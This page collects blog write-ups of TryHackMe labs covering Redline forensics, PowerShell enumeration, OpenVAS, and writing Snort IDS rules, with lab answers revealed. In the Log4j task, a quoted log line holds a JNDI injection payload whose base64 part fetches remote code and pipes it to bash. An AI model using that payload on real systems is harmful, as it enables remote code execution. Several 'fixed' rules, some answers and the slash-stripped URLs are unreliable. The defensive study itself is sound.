Skip to main content

5 posts tagged with "tryhackme"

View All Tags

Try Hack Me, Password Attacks

· One min read
Mark Burton
Software Engineer & Technical Writer
  • Password attacks techniques
  • Online password attacks ### Task 2 - Password Attacking Techniques #### Question 1 Which type of password attack is performed locally? #### Answer

Password cracking Reveal Answer

Try Hack Me, Redline

· 4 min read
Mark Burton
Software Engineer & Technical Writer

FireEye Reveal Answer ### Task 2 - Data Collection #### Question 1 What data collection method takes the least amount of time? #### Answer standard collector Reveal Answer #### Question 2 You are reading a research paper on a new strain of ransomware. You want to run the data collection on your computer based on the patterns provided, such as domains, hashes, IP addresses, filenames, etc. What method would you choose to run a granular data collection against the known indicators? #### Answer IOC Search collector Reveal Answer #### Question 3 What script would you run to initiate the data collection process? Please include the file extension. #### Answer runredlineaudit.bat Reveal Answer #### Question 4 If you want to collect the data on Disks and Volumes, under which option can you find it? #### Answer disk enumeration Reveal Answer #### Question 5 What cache does Windows use to maintain a preference for recently executed code? ##### Notes In the Redline User Guide Cache is mentioned 13 times, there is a section dedicated to the cache which answers this question. #### Answer prefetch Reveal Answer ### Task 3 - The Redline Interface #### Question 1 Where in the Redline UI can you view information about the Logged in User? #### Answer System Information Reveal Answer ### Task 4 - Standard Collector Analysis #### Question 1 Provide the Operating System detected for the workstation. ##### Notes There is a bug in this room which is discussed in the forum, the System Information in Redline shows the OS to be Windows 7 Home Basic Service Pack 1, but that is not the answer. Read the instructions carefully, if you analyse the wrong file you will get the wrong answer! Be sure you did the previous task to setup the standard collector, ran the analysis and you have opened that file to get the answers. I added my reply in the forum. #### Answer Windows Server 2019 Standard 17763 Reveal Answer #### Question 2 Be sure to check the rest of the System Information section for other useful data. #### Question 3 What is the suspicious scheduled task that got created on the victim's computer? #### Answer MSOfficeUpdateFa.ke Reveal Answer #### Question 4 Find the message that the intruder left for you in the task. #### Answer THM-p3R5IStENCe-m3Chani$m Reveal Answer #### Question 5 There is a new System Event ID created by an intruder with the source name "THM-Redline-User" and the Type "ERROR". Find the Event ID #. #### Answer 546 Reveal Answer #### Question 6 Provide the message for the Event ID. #### Answer Someone cracked my password. Now I need to rename my puppy-++- Reveal Answer #### Question 7 It looks like the intruder downloaded a file containing the flag for Question 8. Provide the full URL of the website. #### Answer https:/wormhole.appdownload-streamgI9vQtChjyYAmZ8Ody0AuA Reveal Answer #### Question 8 Provide the full path to where the file was downloaded to including the filename. #### Answer C:\Program Files (x86)\Windows Mail\SomeMailFolder\flag.txt Reveal Answer #### Question 9 Provide the message the intruder left for you in the file. #### Answer THM\{600D-C@7cH-My-FR1EnD\} Reveal Answer ### Task 5 - IOC Search Collector #### Question 1 What is the actual filename of the Keylogger? #### Answer psylog.exe Reveal Answer #### Question 2 What filename is the file masquerading as? #### Answer thm1768.exe Reveal Answer #### Question 3 Who is the owner of the file? #### Answer WIN-2DET5DP0NPT\charles Reveal Answer #### Question 4 What is the file size in bytes? #### Answer 35400 Reveal Answer #### Question 5 Provide the full path of where the .ioc file was placed after the Redline analysis, include the .ioc filename as well #### Answer C:\Users\charles\Desktop\Keylogger-IOCSearch\IOCs\keylogger.ioc Reveal Answer

Try Hack Me, Hacking with PowerShell

· 5 min read
Mark Burton
Software Engineer & Technical Writer

PS C:\Users\mburton> ???-??? ???-???: The term '???-???' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

> Get-New [Reveal Answer](#) ### Task 3 - Basic Powershell Commands  [PowerShell verbs](https:/docs.microsoft.comen-uspowershellscriptingdevelopercmdletapproved-verbs-for-windows-powershell-commands?view=powershell-7)  #### Question 1  What is the location of the file "interesting-file.txt"  ##### Notes  The Microsoft Scripting Blog has lots of useful articles on working with PowerShell to answer this question you can read "[Use Windows PowerShell to search for files](https:/devblogs.microsoft.comscriptinguse-windows-powershell-to-search-for-files)".  ``` powershell
Get-Childitem –Path C:\ -Include interesting-file.txt -Recurse -ErrorAction SilentlyContinue Directory: C:\??????? ????? Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 103/2019 11:38 PM 23 interesting-file.txt
``` #### Answer
> C:\Program Files [Reveal Answer](#) #### Question 2 Specify the contents of this file ##### Notes ``` powershell
Get-Content 'C:\Program Files\interesting-file.txt'
``` #### Answer
> notsointerestingcontent [Reveal Answer](#) #### Question 3 How many cmdlets are installed on the system(only cmdlets, not functions and aliases)? ##### Notes The task intro shows that `Get-Command` can be used to get this information, but it returns `Cmdlets`, `Functions` and `Alias`, so how to filter only `Cmdlets`? First check the help, examples and use the [online help](https:/learn.microsoft.comen-gbpowershellmodulemicrosoft.powershell.coreget-command?view=powershell-7.3&viewFallbackFrom=powershell-6) if it is not available locally ``` powershell
> Get-Help Get-Command NAME Get-Command SYNTAX Get-Command [[-ArgumentList] &lt;Object[]>] [-Verb <string[] />] [-Noun <string[] />] [-Module <string[] />] [-FullyQualifiedModule <ModuleSpecification[] />] [-TotalCount <int />] [-Syntax] [-ShowCommandInfo] [-All] [-ListImported] [-ParameterName <string[] />] [-ParameterType <PSTypeName[] />] [<CommonParameters />] Get-Command [[-Name] <string[] />] [[-ArgumentList] <Object[] />] [-Module <string[] />] [-FullyQualifiedModule <ModuleSpecification[] />] [-CommandType \\{Alias | Function | Filter | Cmdlet | ExternalScript | Application | Script | Workflow | Configuration | All\}] [-TotalCount <int />] [-Syntax] [-ShowCommandInfo] [-All] [-ListImported] [-ParameterName <string[] />] [-ParameterType <PSTypeName[] />] [<CommonParameters />] ALIASES gcm REMARKS Get-Help cannot find the Help files for this cmdlet on this computer. It is displaying only partial help. -- To download and install Help files for the module that includes this cmdlet, use Update-Help. -- To view the Help topic for this cmdlet online, type: "Get-Help Get-Command -Online" or go to https:/go.microsoft.comfwlink?LinkID=113309.
``` One of the parameters is `-CommandType` which accepts specific values from a list including `Cmdlet` so last step is to get a count, which can be done by piping it to `Measure-Object`. ``` powershell
&gt; Get-Command -Type cmdlet | Measure-Object
> ``` #### Answer
> 9673 [Reveal Answer](#) #### Question 4 Get the MD5 hash of interesting-file.txt ##### Notes ``` powershell
> Get-Help Get-FileHash NAME Get-FileHash SYNTAX Get-FileHash [-Path] &lt;string[]> [-Algorithm \\{SHA1 | SHA256 | SHA384 | SHA512 | MACTripleDES | MD5 | RIPEMD160\}] [<CommonParameters />] Get-FileHash -LiteralPath <string[] /> [-Algorithm \\{SHA1 | SHA256 | SHA384 | SHA512 | MACTripleDES | MD5 | RIPEMD160\}] [<CommonParameters />] Get-FileHash -InputStream <Stream /> [-Algorithm \\{SHA1 | SHA256 | SHA384 | SHA512 | MACTripleDES | MD5 | RIPEMD160\}] [<CommonParameters />]
``` ``` powershell
&gt; Get-FileHash 'C:\Program Files\interesting-file.txt -Algorithm MD5 > ``` #### Answer
> 49A586A2A9456226F8A1B4CEC6FAB329 [Reveal Answer](#) #### Question 5 What is the command to get the current working directory? #### Answer
> Get-Location [Reveal Answer](#) #### Question 6 Does the path "C:\Users\Administrator\Documents\Passwords" Exist (YN)? ##### Notes ``` powershell
> Test-Path 'C:\Users\Administrator\Documents\Passwords'
> True|False
``` #### Answer
> N [Reveal Answer](#) #### Question 7 What command would you use to make a request to a web server? #### Answer
> Invoke-WebRequest [Reveal Answer](#) #### Question 8 Base64 decode the file b64.txt on Windows. ##### Notes Nice explanation by Joshua Wright on the [Sans Blog - Month of PowerShell](https:/www.sans.orgblogmonth-of-powershell-profile-hack-base64-encoding-decoding), including adding the command to your profile so it can be called easily without having to remember the whole command. ``` powershell
> $base64 = Get-Content .\b64.txt
> [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($base64))
> this is the flag - ????????????????????????
the rest is garbage
the rest is garbage
the rest is garbage
the rest is garbage
the rest is garbage
the rest is garbage
``` #### Answer
> ihopeyoudidthisonwindows [Reveal Answer](#) ### Task 4 - Enumeration The first step when you have gained initial access to any machine would be to enumerate. We'll be enumerating the following: * users
* basic networking information
* file permissions
* registry permissions
* scheduled and running tasks
* insecure files Your task will be to answer the following questions to enumerate the machine using Powershell commands! #### Question 1 How many users are there on the machine? ##### Notes ``` powershell
> Get-LocalUser
> ``` #### Answer
> ihopeyoudidthisonwindows [Reveal Answer](#)

Try Hack Me, OpenVAS

· 2 min read
Mark Burton
Software Engineer & Technical Writer
  • create a user with sudo runuser -u _gvm -- gvmd --create-user=admin --password=admin, more details on the Greenbone Forum.
  • reboot, without this I was getting a strange permissions error on my home directory. These issues were highlighted by running sudo gvm-check-setup
  • create a postgres user with sudo runuser -u _postgres -- usrsharegvmcreate-postgresql-database
  • start redis with sudo systemctl start redis-server@openvas.service With that I was able to login. ### Task 7 - Practical Vulnerability Management #### Question 1 When did the scan start in Case 001? #### Answer

Feb 28, 00:04:46 Reveal Answer #### Question 2 When did the scan end in Case 001? #### Answer Feb 28, 00:21:02 Reveal Answer #### Question 3 How many ports are open in Case 001? #### Answer 3 Reveal Answer #### Question 4 How many total vulnerabilities were found in Case 001? #### Answer 5 Reveal Answer #### Question 5 What is the highest severity vulnerability found? (MSxx-xxx) #### Answer MS17-010 Reveal Answer #### Question 6 What is the first affected OS to this vulnerability? #### Answer Microsoft Windows 10 x32x64 Edition Reveal Answer #### Question 7 What is the recommended vulnerability detection method? #### Answer Send the crafted SMB transaction request with fid = 0 and check the response to confirm the vulnerability. Reveal Answer

Try Hack Me, Snort Challenges, The Basics

· 20 min read
Mark Burton
Software Engineer & Technical Writer

Snort Challenge - The Basics This is the first time I have written up a Try Hack Me challenge on day 161 of my hacking streak, it is primarily to keep track of the challenge as I work through it, if you find this, I hope it helps. ### Task 1 - Introduction Start the machine, that's it. ### Task 2 - Writing IDS Rules (HTTP) Let's create IDS Rules for HTTP traffic!

Answer the questions below Navigate to the task folder. Use the given pcap file. Write rules to detect "all TCP port 80 traffic" packets in the given pcap file. #### Question 1 What is the number of detected packets? Note: You must answer this question correctly before answering the rest of the questions in this task. :::info Hint: You need to investigate inbound and outbound traffic on port 80. Writing two simple rules will help you. :::

Notes In the previous channel task 9 covers the structure of a snort rule which is summarized as Action | Protocol | Source IP | Source Port | Direction | Dest IP | Dest Port | Options --------|----------|-----------|-------------|-----------|---------|-----------|----------- Alert | TCP | | | | | | Msg Drop | UDP | ANY | ANY | <> | ANY | ANY | Reference Reject | IMCP | | | | | | SID | | | | | | | Rev --------|----------|-----------|-------------|-----------|---------|-----------|----------- Rule Header | Rule Options The hint says to make 2 rules, 1 rule for port 80 source and port 80 destination, ``` bash

alert tcp any 80 <> any any (msg: "port 80 origin"; sid: 100001; rev: 1;) alert tcp any any <> any 80 (msg: "port 80 destination"; sid: 100002; rev:1;)

``` bash
snort -c local.rules -A full -l . -r mx-3.pcap
``` ``` bash
Action Stats: Alerts: ??? ( 71.304%) Logged: ??? ( 71.304%)
``` #### Answer
&gt; 328 [Reveal Answer](#) #### Question 2
> Investigate the log file. What is the destination address of packet 63? I got to the answer using the following snort command. ``` bash
snort -c local.rules -r mx-3.pcap -A console -n 63
``` But that isn't what the question asks, it specifically says `Investigate the log file.` so to read the log file instead use the command below. ``` bash
sudo snort -r snort.log.1680776108 -n 64
``` ``` bash
0513-10:17:10.205385 [**] [1:100001:1] port 80 origin [**] [Priority: 0] 65.208.228.223:80 -> 145.254.160.237:3372
``` #### Answer
> 145.254.160.237 [Reveal Answer](#) #### Question 3 Investigate the log file. What is the ACK number of packet 64? ##### Notes Similar to the previous question. ``` bash
sudo snort -r snort.log.1686080304 -n 64
``` ``` bash
WARNING: No preprocessors configured for policy 0.
0513-10:17:09.123830 65.208.228.223:80 -> 145.254.160.237:3372
TCP TTL:47 TOS:0x0 ID:49312 IpLen:20 DgmLen:1420 DF
***A**** Seq: 0x114C66F0 Ack: 0x???????? Win: 0x1920 TcpLen: 20
``` #### Answer
> 0x38AFFFF3 [Reveal Answer](#) #### Question 4 Investigate the log file. What is the SEQ number of packet 62? ``` bash
sudo snort -r snort.log.1686080304 -n 62
``` ``` bash
WARNING: No preprocessors configured for policy 0.
0513-10:17:09.123830 145.254.160.237:3372 -> 65.208.228.223:80
TCP TTL:128 TOS:0x0 ID:3910 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x???????? Ack: 0x114C66F0 Win: 0x25BC TcpLen: 20
``` #### Answer
> 0x38AFFFF3 [Reveal Answer](#) #### Question 5 Investigate the log file. What is the TTL number of packet 65? ``` bash
sudo snort -r snort.log.1686080304 -n 65
``` ``` bash
WARNING: No preprocessors configured for policy 0.
0513-10:17:09.324118 ???.???.???.???:???? -> 65.208.228.223:80
TCP TTL:??? TOS:0x0 ID:3911 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x38AFFFF3 Ack: 0x114C6C54 Win: 0x25BC TcpLen: 20 ``` #### Answer
> 128 [Reveal Answer](#) #### Question 6 Investigate the log file. What is the source IP number of packet 65? ``` bash
sudo snort -r snort.log.1686080304 -n 65
``` ``` bash
WARNING: No preprocessors configured for policy 0.
0513-10:17:09.324118 ???.???.???.???:???? -> 65.208.228.223:80
TCP TTL:??? TOS:0x0 ID:3911 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x38AFFFF3 Ack: 0x114C6C54 Win: 0x25BC TcpLen: 20
``` #### Answer
> 145.254.160.237 [Reveal Answer](#) #### Question 7 Investigate the log file. What is the source port of packet 65? ``` bash
sudo snort -r snort.log.1686080304 -n 65
``` ``` bash
WARNING: No preprocessors configured for policy 0.
0513-10:17:09.324118 ???.???.???.???:???? -> 65.208.228.223:80
TCP TTL:??? TOS:0x0 ID:3911 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x38AFFFF3 Ack: 0x114C6C54 Win: 0x25BC TcpLen: 20
``` #### Answer
> 3372 [Reveal Answer](#) ### Task 3 - Writing IDS Rules (FTP) Let's create IDS Rules for FTP traffic!
Answer the questions below
Navigate to the task folder. Use the given pcap file. Write rules to detect "all TCP port 21" traffic in the given pcap. ``` bash
alert tcp any 21 &lt;> any any (msg: "port 21 origin"; sid: 100001; rev: 1;)
alert tcp any any &lt;&gt; any 21 (msg: "port 21 destination"; sid: 100002; rev:1;)
``` ``` bash
snort -c local.rules -A full -l . -r ftp-png-gif.pcap
``` #### Question 1 What is the number of detected packets? #### Answer
&gt; 614 [Reveal Answer](#) #### Question 2 Investigate the log file. What is the FTP service name? #### Answer
> Microsoft FTP Service [Reveal Answer](#) #### Question 3 **Clear the previous log and alarm files.** Deactivatecomment on the old rules. Write a rule to detect failed FTP login attempts in the given pcap. What is the number of detected packets? ##### notes I know from mistyping a FTP login enough times that 530 is the code for a failed FTP login. Looking at the previous log I can see entries like `530 User admin cannot log in.` So from the previous channel, **Payload Detection Rule Options**, it looks like I can use the `content:` to search for the 530. ``` bash
alert tcp any 21 &lt;> any any (msg: "port 21 origin"; content:"530 "; sid: 100001; rev: 1;)
alert tcp any any &lt;&gt; any 21 (msg: "port 21 destination"; content:"530 "; sid: 100002; rev:1;)
``` This gives the answer 82 which is not correct. :::info
Hint: Each failed FTP login attempt prompts a default message with the pattern; "530 User". Try to filter the given pattern in the inbound FTP traffic.
:::
So the hint helps, the rule should only be for inbound. ``` bash
alert tcp any 21 &lt;&gt; any any (msg: "port 21 origin"; content:"530 "; sid: 100001; rev: 1;)
``` Run snort again to read the pcap with the new rule
``` bash
snort -c local.rules -A full -l . -r ftp-png-gif.pcap
``` #### Answer
&gt; 41 [Reveal Answer](#) #### Question 4 **Clear the previous log and alarm files.** Deactivatecomment on the old rule. Write a rule to detect successful FTP logins in the given pcap. What is the number of detected packets? ##### Notes Similar to the last quesiton but the code is 230 ``` bash
alert tcp any 21 &lt;&gt; any any (msg: "port 21 origin"; content:"230 "; sid: 100001; rev: 1;)
``` Run snort again to read the pcap with the new rule
``` bash
snort -c local.rules -A full -l . -r ftp-png-gif.pcap
``` #### Answer
> 1 [Reveal Answer](#) #### Question 5 **Clear the previous log and alarm files.** Deactivatecomment on the old rule. Write a rule to detect failed FTP login attempts with a valid username but a bad password or no password. What is the number of detected packets? ##### Notes
Looking at the output from the rule in question 1 there are several entries for `331 Password required for fred.` so I tried a rule for 331 in the body, same as the previous question it only makes sense to look for inbound traffic. ``` bash
alert tcp any 21 &lt;&gt; any any (msg: "port 21 origin"; content:"331 "; sid: 100001; rev: 1;)
``` Run snort again to read the pcap with the new rule
``` bash
snort -c local.rules -A full -l . -r ftp-png-gif.pcap
``` #### Answer
> 42 [Reveal Answer](#) #### Question 6 **Clear the previous log and alarm files.** Deactivatecomment on the old rule. Write a rule to detect failed FTP login attempts with "Administrator" username but a bad password or no password. What is the number of detected packets? ##### Notes This builds on the previous answers, so a rule like this could work ``` bash
alert tcp any any &lt;> any 21 (msg: "port 21 destination"; content:"331 Password required for Administrator"; sid: 100001; rev: 1;)
``` But that is a kind of basic inflexible way to achieve it, lets make it more complex with the aid of a regex ``` bash
alert tcp any any &lt;&gt; any 21 (msg: "port 21 destination"; pcre:"(331).*(administrator)ix"; sid: 100001; rev: 1;)
``` Run snort again to read the pcap with the new rule
``` bash
snort -c local.rules -A full -l . -r ftp-png-gif.pcap
``` #### Answer
&gt; 7 [Reveal Answer](#) ### Task 3 - Writing IDS Rules (PNG) Let's create IDS Rules for PNG files in the traffic! #### Question 1 Use the given pcap file. Write a rule to detect the PNG file in the given pcap. Investigate the logs and identify the software name embedded in the packet. ##### Notes I could not figure this out from the channel, I tried a simple rule like ``` bash
alert tcp any any -> any any (content:"png"; msg:"PNG";sid:10002; rev:1;)
``` It gave some results but nothing useful to answer the question. After some googling and trying to avoid other writeups I came across this article on [asecuritysite.com](https:/asecuritysite.comforensicssnort?fname=with_pdf.pcap&rulesname=rulessig.rules) which included the rule ``` bash
alert tcp any any -> any any (content:"|89 50 4E 47|"; msg:"PNG";sid:10002)
``` I remember from a previous channel that the more certain way to identify a file rather then trusting the file extension is the files magic number or magic bytes, for png that is `89 50 4E 47`. With that rule in place run snort to read the pcap with the new rule
``` bash
snort -c local.rules -A full -l . -r ftp-png-gif.pcap
``` #### Answer
> adobe imageready [Reveal Answer](#) #### Question 2 **Clear the previous log and alarm files.** Deactivatecomment on the old rule. Write a rule to detect the GIF file in the given pcap. Investigate the logs and identify the image format embedded in the packet. ##### Notes Based on the previous question I assume we are looking for the magic bytes for gif, that can be `47 49 46 38 37 61` for GIF87a or `47 49 46 38 39 61` for GIF89a. Change the previous rule slightly and ``` bash
alert tcp any any -> any any (content:"|47 49 46 38 39 61|"; msg:"PNG";sid:10002)
``` With that rule in place run snort to read the pcap with the new rule ``` bash
snort -c local.rules -A full -l . -r ftp-png-gif.pcap
``` #### Answer
> GIF89a [Reveal Answer](#) ### Task 5 - Writing IDS Rules (Torrent Metafile) Let's create IDS Rules for torrent metafiles in the traffic! #### Question 1 Use the given pcap file. Write a rule to detect the torrent metafile in the given pcap. ##### Notes A torrent meta file has an extension of `.torrent` lets see if that finds anything. ``` bash
alert tcp any any -> any any (content:".torrent"; msg:"PNG";sid:10002)
``` With that rule in place run snort to read the pcap with the new rule ``` bash
snort -c local.rules -A full -l . -r torrent.pcap
``` Seems to work. #### Answer
> 2 [Reveal Answer](#) #### Question 2 Investigate the logalarm files. What is the name of the torrent application? ##### Notes This is just a `nano snort.log.1686496369` your log file name will be different. The output will be something like ``` bash
�ò�^B^@^D^@^@^@^@^@^@^@^@^@�^E^@^@^A^@^@^@���B�0^N^@�^A^@^@�^A^@^@�� ^@^>
�饐^V�^K�rP^X"8�^@^@^@GET announce?info_hash=%01d%FE%7E%F1%10%5CWvAp%ED>
Accept: application?-??????????
Accept-Encoding: gzip
User-Agent: RAZA 2.1.0.0
Host: ????????.??????????.???:2710
Connection: Keep-Alive
``` #### Answer
> bittorrent [Reveal Answer](#) #### Question 3 Investigate the logalarm files. What is the MIME (Multipurpose Internet Mail Extensions) type of the torrent metafile? ##### Notes Again this is just a `nano snort.log.1686496369` your log file name will be different. The output will be something like ``` bash
�ò�^B^@^D^@^@^@^@^@^@^@^@^@�^E^@^@^A^@^@^@���B�0^N^@�^A^@^@�^A^@^@�� ^@^>
�饐^V�^K�rP^X"8�^@^@^@GET announce?info_hash=%01d%FE%7E%F1%10%5CWvAp%ED>
Accept: application?-??????????
Accept-Encoding: gzip
User-Agent: RAZA 2.1.0.0
Host: ????????.??????????.???:2710
Connection: Keep-Alive
``` #### Answer
> applicationx-bittorrent [Reveal Answer](#) #### Question 4 Investigate the logalarm files. What is the hostname of the torrent metafile? ##### Notes Again this is just a `nano snort.log.1686496369` your log file name will be different. The output will be something like ``` bash
�ò�^B^@^D^@^@^@^@^@^@^@^@^@�^E^@^@^A^@^@^@���B�0^N^@�^A^@^@�^A^@^@�� ^@^>
�饐^V�^K�rP^X"8�^@^@^@GET announce?info_hash=%01d%FE%7E%F1%10%5CWvAp%ED>
Accept: application?-??????????
Accept-Encoding: gzip
User-Agent: RAZA 2.1.0.0
Host: ????????.??????????.???:2710
Connection: Keep-Alive
``` #### Answer
> tracker2.torrentbox.com [Reveal Answer](#) ### Task 6 - Troubleshooting Rule Syntax Errors Let's troubleshoot rule syntax errors! In this section, you need to fix the syntax errors in the given rule files. You can test each ruleset with the following command structure; ``` bash
sudo snort -c local-X.rules -r mx-1.pcap -A console
``` #### Question 1 Fix the syntax error in local-1.rules file and make it work smoothly. What is the number of the detected packets? ##### Notes The rule defined in `local-1.rules` is; ``` bash
alert tcp any 3372 -> any any(msg: "Troubleshooting 1"; sid:1000001; rev:1;)
``` Running snort with the provided command gives the following error; ``` bash
Initializing rule chains...
ERROR: local-1.rules(8) ***Rule--PortVar Parse error: (pos=1,error=not a number)
>>any(msg:
> >^
> ``` This is a missing space between any and the opening bracket, the fixed rule is; ``` bash
alert tcp any 3372 -> any any(msg: "Troubleshooting 1"; sid:1000001; rev:1;)
``` #### Answer
> 16 [Reveal Answer](#) #### Question 2 Fix the syntax error in local-2.rules file and make it work smoothly. What is the number of the detected packets? ##### Notes The rule defined in `local-2.rules` is; ``` bash
alert icmp any -> any any (msg: "Troubleshooting 2"; sid:1000001; rev:1;)
``` Running snort with the provided command gives the following error; ``` bash
Initializing rule chains...
ERROR: local-2.rules(8) Port value missing in rule!
Fatal Error, Quitting..
``` This time the port number is missing from the origin part of the rule, the fixed rule is; ``` bash
alert tcp any any -> any any(msg: "Troubleshooting 2"; sid:1000001; rev:1;)
``` #### Answer
> 68 [Reveal Answer](#) #### Question 3 Fix the syntax error in local-3.rules file and make it work smoothly. What is the number of the detected packets? ##### Notes The rule defined in `local-3.rules` is; ``` bash
alert icmp any any -> any any (msg: "ICMP Packet Found"; sid:1000001; rev:1;)
alert tcp any any -> any 80,443 (msg: "HTTPX Packet Found"; sid:1000001; rev:1;)
``` Running snort with the provided command gives the following error; ``` bash
Initializing rule chains...
ERROR: local-3.rules(9) GID 1 SID 1000001 in rule duplicates previous rule, with different protocol.
Fatal Error, Quitting..
``` This time the tells us the same SID is used in 2 different rules, the fixed rule is; ``` bash
alert icmp any any -> any any (msg: "ICMP Packet Found"; sid:1000001; rev:1;)
alert tcp any any -> any 80,443 (msg: "HTTPX Packet Found"; sid:1000002; rev:1;)
``` #### Answer
> 87 [Reveal Answer](#) #### Question 4 Fix the syntax error in local-4.rules file and make it work smoothly. What is the number of the detected packets? ##### Notes The rule defined in `local-4.rules` is; ``` bash
alert icmp any any -> any any (msg: "ICMP Packet Found"; sid:1000001; rev:1;)
alert tcp any 80,443 -> any any (msg: "HTTPX Packet Found": sid:1000001; rev:1;)
``` Running snort with the provided command gives the following error; ``` bash
Initializing rule chains...
ERROR: local-4.rules(9) Unmatch quote in rule option 'msg'.
Fatal Error, Quitting..
``` The error is a little misleading and it is easier to see the problem with the syntax highlighting, rather than it being an unmatched quote it is a colon instead of a semi-colon after msg in the second rule. There is a second issue which is the same as the previous question, the SID is the same in both rules, the fixed rule is; ``` bash
alert icmp any any -> any any (msg: "ICMP Packet Found"; sid:1000001; rev:1;)
alert tcp any 80,443 -> any any (msg: "HTTPX Packet Found"; sid:1000001; rev:1;)
``` #### Answer
> 90 [Reveal Answer](#) #### Question 5 Fix the syntax error in local-4.rules file and make it work smoothly. What is the number of the detected packets? ##### Notes The rule defined in `local-5.rules` is; ``` bash
alert icmp any any &lt;> any any (msg: "ICMP Packet Found"; sid:1000001; rev:1;)
alert icmp any any <- any any (msg: "Inbound ICMP Packet Found"; sid;1000002; rev:1;)
alert tcp any any -> any 80,443 (msg: "HTTPX Packet Found": sid:1000003; rev:1;)
``` Running snort with the provided command gives the following error; ``` bash
Initializing rule chains...
ERROR: local-5.rules(9) Illegal direction specifier: &lt;-
Fatal Error, Quitting..
``` From the previous channel I know that snort does not have a `&lt;-` operator, since rule 2 is any ip and port in either direction is assume `&lt;&gt;` is the correct operator. There is a second problem in the second rule, the separator between the sid name and the value is a semi-colon instead of a colon. Finally a third problem in the 3rd rule, the separator between msg and sid is again a colon rather than semi-colon, the fix rule is; ``` bash
alert icmp any any &lt;&gt; any any (msg: "ICMP Packet Found"; sid:1000001; rev:1;)
alert icmp any any &lt;&gt; any any (msg: "Inbound ICMP Packet Found"; sid:1000002; rev:1;)
alert tcp any any -&gt; any 80,443 (msg: "HTTPX Packet Found"; sid:1000003; rev:1;)
``` #### Answer
&gt; 155 [Reveal Answer](#) #### Question 6 Fix the logical error in local-6.rules file and make it work smoothly to create alerts. What is the number of the detected packets? ##### Notes The rule defined in `local-6.rules` is; ``` bash
alert tcp any any &lt;&gt; any 80 (msg: "GET Request Found"; content:"|67 65 74|"; sid: 100001; rev:1;)
``` This time there is no error, but the rule returns no alerts. The rule looks simple enough, any request to a remote ip on port 80, but what is the content part of the rule? Putting `67 65 74` into a hex to ascii convertor returns `get`. I didn't see the answer so used the hint. :::info
Hint: Case sensitivity matters! Use the capitals or nocase!
:::
Now the logical error is a little clearer, the content is looking for `get` but http verbs are generally uppercase `GET`. The hint explains to add the nocase or use uppercase letters in the content, so there are 2 possible rules that can be used; ``` bash
alert tcp any any &lt;&gt; any 80 (msg: "GET Request Found"; content:"|67 65 74|"; nocase; sid: 100001; rev:1;)
``` or ``` bash
alert tcp any any &lt;&gt; any 80 (msg: "GET Request Found"; content:"|47 45 54|"; sid: 100001; rev:1;)
``` #### Answer
&gt; 2 [Reveal Answer](#) #### Question 7 Fix the logical error in local-7.rules file and make it work smoothly to create alerts. What is the name of the required option: ##### Notes The rule defined in `local-7.rules` is; ``` bash
alert tcp any any &lt;> any 80 (content:"|2E 68 74 6D 6C|"; sid: 100001; rev:1;)
``` Again there is no error, but the rule returns 9 alerts while the answer is 3 digits. The rule looks simple enough, any request to a remote ip on port 80, but what is the content part of the rule? Putting `2E 68 74 6D 6C` into a hex to ascii convertor returns `.html`. I didn't see the answer so used the hint. :::info
Hint: Rules without messages doesn't make sense!
:::
That is annoying, all it needs is a message. ``` bash
alert tcp any any &lt;&gt; any 80 (msg: "HTML file"; content:"|2E 68 74 6D 6C|"; sid: 100001; rev:1;)
``` #### Answer
&gt; msg [Reveal Answer](#) ### Task 7 - Using External Rules (MS17-010) Let's use external rules to fight against the latest threats! Use the given pcap file. #### Question 1 Use the given rule file (local.rules) to investigate the ms1710 exploitation. What is the number of detected packets? #### Answer
> 25154 [Reveal Answer](#) #### Question 2 **Clear the previous log and alarm files.** Use local-1.rules empty file to write a new rule to detect payloads containing the "\IPC$" keyword. What is the number of detected packets? ##### Notes The backslash causes problems, so once the string has been converted to hex I had the following rule: ``` bash
alert tcp any any &lt;&gt; any any (msg: "\IPC$"; content:"|5c 49 50 43 24|"; sid: 100001; rev:1;)
``` #### Answer
> 12 [Reveal Answer](#) #### Question 3 Investigate the logalarm files. What is the requested path? ##### Notes The snort log has entries like ```
^@^@^@^@^@[�SMBu^@^@^@^@^X^A ^@^@^@^@^@^@^@^@^@^@K^@^H�^^D�^@^@^@^@^@^A^@^\^@^@\\192.168.116.138\IPC$^@????^@TH_REPLACE
``` #### Answer
> smb\\192.168.116.138\IPC$ [Reveal Answer](#) #### Question 4 What is the CVSS v2 score of the MS17-010 vulnerability? ##### Notes https:/www.cvedetails.comcveCVE-2017-0144/ #### Answer
> 9.3 [Reveal Answer](#) ### Task 8 - Using External Rules (Log4j) Let's use external rules to fight against the latest threats! Use the given pcap file. #### Question 1 Use the given rule file (local.rules) to investigate the log4j exploitation. What is the number of detected packets? #### Answer
> 26 [Reveal Answer](#) #### Question 2 Investigate the logalarm files. How many rules were triggered?. #### Answer
> 4 [Reveal Answer](#) #### Question 3 Investigate the logalarm files. What are the first six digits of the triggered rule sids? #### Answer
> 210037 [Reveal Answer](#) #### Question 4 Use local-1.rules empty file to write a new rule to detect packet payloads between 770 and 855 bytes. What is the number of detected packets? ##### Notes :::info
Hint: The "dsize" option will help you to filter the payload size.
:::
A little more info on [dsize syntax](http:/manual-snort-org.s3-website-us-east-1.amazonaws.comnode33.html#SECTION00467000000000000000) The rule can look like the below; ``` bash
alert tcp any any &lt;> any any (msg: "Between 770 and 885 bytes"; dsize:770&lt;&gt;855; sid: 100001; rev:1;)
``` Run snort ``` bash
snort -c local-1.rules -A full -l . -r log4j.pcap
``` #### Answer
&gt; 41 [Reveal Answer](#) #### Question 5 Investigate the logalarm files. What is the name of the used encoding algorithm? ##### Notes Quick read of the log file and I noticed this > ^v^D�c���GET ?x=$\\{jndi:ldap:/45.155.205.233:12344BasicCommand??????KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMC4yMjguMjUzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE2Mi4wLjIyOC4yNTM6ODApfGJhc2g=\} HTTP1.1 #### Answer
> Base64 [Reveal Answer](#) #### Question 6 Investigate the logalarm files. What is the IP ID of the corresponding packet? ##### Notes I don't know why this is the answer, it is one of the many entries in the alert file. #### Answer
